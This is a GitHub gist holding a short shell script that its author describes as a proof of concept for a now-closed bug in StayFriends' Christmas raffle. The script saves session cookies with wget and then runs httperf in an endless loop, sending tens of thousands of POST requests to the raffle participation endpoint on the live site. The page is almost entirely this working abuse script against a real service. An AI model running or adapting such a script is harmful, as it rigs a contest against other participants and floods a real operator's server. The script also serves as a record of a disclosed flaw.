Skip to content

Instantly share code, notes, and snippets.

@speters
Created December 19, 2013 11:17
Show Gist options
  • Save speters/4be45430c9b7949b817c to your computer and use it in GitHub Desktop.
Save speters/4be45430c9b7949b817c to your computer and use it in GitHub Desktop.
Proof of concept for a now closed bug
ENTRYURL='http://go.stayfriends.de/***/xmasRaffle'
COOKIEFILE='cookies.txt'
USER_AGENT="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:25.0) Gecko/20100101 Firefox/25.0"
wget -U "${USER_AGENT}" --spider -S --keep-session-cookies --save-cookies=$COOKIEFILE $ENTRYURL
COOKIEHEADER=`awk -v ORS='' 'BEGIN {print "Cookie: "} /stayfriends/{print $6"="$7"; " } ' < $COOKIEFILE `
# local test against nc -l 8080
#httperf --print-reply --print-request --hog --port 8080 --server localhost --uri='/xmas/raffle/participate' --method=POST --add-header="User-Agent: ${USER_AGENT}"'\nContent-Type: application/x-www-form-urlencoded\n'"${COOKIEHEADER}"'\n' --num-conns 10
## to be killed with killall -g xmasraffle.sh
while true ; do
httperf --print-reply --port 80 --server www.stayfriends.de --uri='/xmas/raffle/participate' --method=POST --add-header="User-Agent: ${USER_AGENT}"'\nContent-Type: application/x-www-form-urlencoded\n'"${COOKIEHEADER}"'\n' --num-conns 50 --num-calls=1000 | grep '"state"'
if [ `date +%M` -gt 58 ] ; then break ; fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment